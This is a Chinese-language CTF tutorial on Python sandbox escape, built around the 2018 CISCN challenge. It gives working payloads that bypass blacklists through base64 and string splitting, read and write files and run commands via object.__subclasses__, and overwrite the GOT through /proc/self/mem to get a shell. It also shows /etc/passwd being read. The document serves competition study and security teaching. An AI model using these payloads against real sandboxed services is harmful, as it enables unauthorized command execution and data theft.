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Python 沙盒

所谓的 Python 沙盒，即以一定的方法模拟 Python 终端，实现用户对 Python 的使用。

Python 沙箱逃逸的一些方法

我们通常所说的 Python 沙箱逃逸就是绕过模拟的 Python 终端，最终实现命令执行。

导入模块

在 Python 的内建函数中，有一些函数可以帮助我们实现任意命令执行： 

os.system() os.popen()
commands.getstatusoutput() commands.getoutput()
commands.getstatus()
subprocess.call(command, shell=True) subprocess.Popen(command, shell=True)
pty.spawn()
在 Python 中导入模块的方法通常有三种（xxx 为模块名称）：

  1. import xxx
  2. from xxx import *
  3. __import__('xxx')

我们可以通过上述的导入方法，导入相关模块并使用上述的函数实现命令执行。 除此之外，我们也可以通过路径引入模块： 如在 linux 系统中 Python 的 os 模块的路径一般都是在 /usr/lib/python2.7/os.py，当知道路径的时候，我们就可以通过如下的操作导入模块，然后进一步使用相关函数。 

>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>
其他的危险函数举例 如 execfile 文件执行 
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'
timeit 
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

exec 和 eval 比较经典了 

eval('__import__("os").system("dir")')
platform 
import platform
print platform.popen('dir').read()

但是，正常的 Python 沙箱会以黑名单的形式禁止使用一些模块如 os 或以白名单的形式只允许用户使用沙箱提供的模块，用以阻止用户的危险操作。而如何进一步逃逸沙箱就是我们的重点研究内容。

Python 的内建函数

当我们不能导入模块，或者想要导入的模块被禁，那么我们只能寻求 Python 本身内置函数（即通常不用人为导入，Python 本身默认已经导入的函数）。我们可以通过可以通过 dir __builtin__ 来获取内置函数列表 

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']
在 Python 中，不引入直接使用的内置函数被成为 builtin 函数，随着 builtin 这个模块自动引入到环境中。那么我们如何引入的模块呢？我们可以通过 dict 引入我们想要引入的模块。dict 的作用是列出一个模组/类/对象 下面 所有的属性和函数。这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西 dict能做什么呢？ 我们知道，一个模块对象有一个由字典对象实现的命名空间，属性的引用会被转换为这个字典中的查找，例如，m.x 等同于 m.dict["x"]。

绕过实例： 首先通过 base64 绕过字符明文检测 

>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
然后通过 dict 引用 
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))

如果一些 内敛函数在 builtins 删除 ，我们可以通过 reload(builtins) 重新载入获取一个完整的 builtins

创建对象以及引用

Python 的 object 类中集成了很多的基础函数，我们想要调用的时候也是可以通过创建对象进而引用。

我们有常见的两个方法： 

().__class__.__bases__[0]
''.__class__.__mro__[2]
如，我们可通过 print ().__class__.__bases__[0].__subclasses__()[40]("/etc/services").read()达到文件读取的效果，

常见payload 

#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

间接引用

在有些题目中，如这次的2018年国赛的 Python 沙盒题目上，import 其实整个是被阉割了。但是在 Python 中，原生的 import 是存在被引用的，只要我们找到相关对象引用就可以进一步获取我们想要的内容，具体下面的demo会讲述到

write修改got表

实际上是一个 /proc/self/mem 的内存操作方法 /proc/self/mem 是内存镜像，能够通过它来读写到进程的所有内存，包括可执行代码，如果我们能获取到Python一些函数的偏移，如 system ，我们便可以通过覆写 got 表达到 getshell的目的。 

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))
第一个地址是 system 的偏移，第二个是fopen的偏移，我们可以通过 objdump 获取相关信息

例子

2018 ciscn 全国大学生信息安全竞赛中的 Python 沙箱逃逸。 我们可以通过print ().__class__.__bases__[0].__subclasses__()[40]("/home/ctf/sandbox.py").read() 获取题目源码，然后可以进一步分析，以下提供三种逃逸方法。

创建对象并利用 Python 操作字符串的特性

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s /home/ctf')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')

劫持 got 表 getshell

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /home/ctf/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))


(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

寻找 import 的间接引用

在不断的 dir 过程中，发现 closure 这个 object 保存了参数，可以引用原生的 import 

print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')

参考

https://xz.aliyun.com/t/52#toc-10 https://blog.csdn.net/qq_35078631/article/details/78504415 https://www.anquanke.com/post/id/85571 http://bestwing.me/2018/05/03/awesome-python-sandbox-in-ciscn/#0x01

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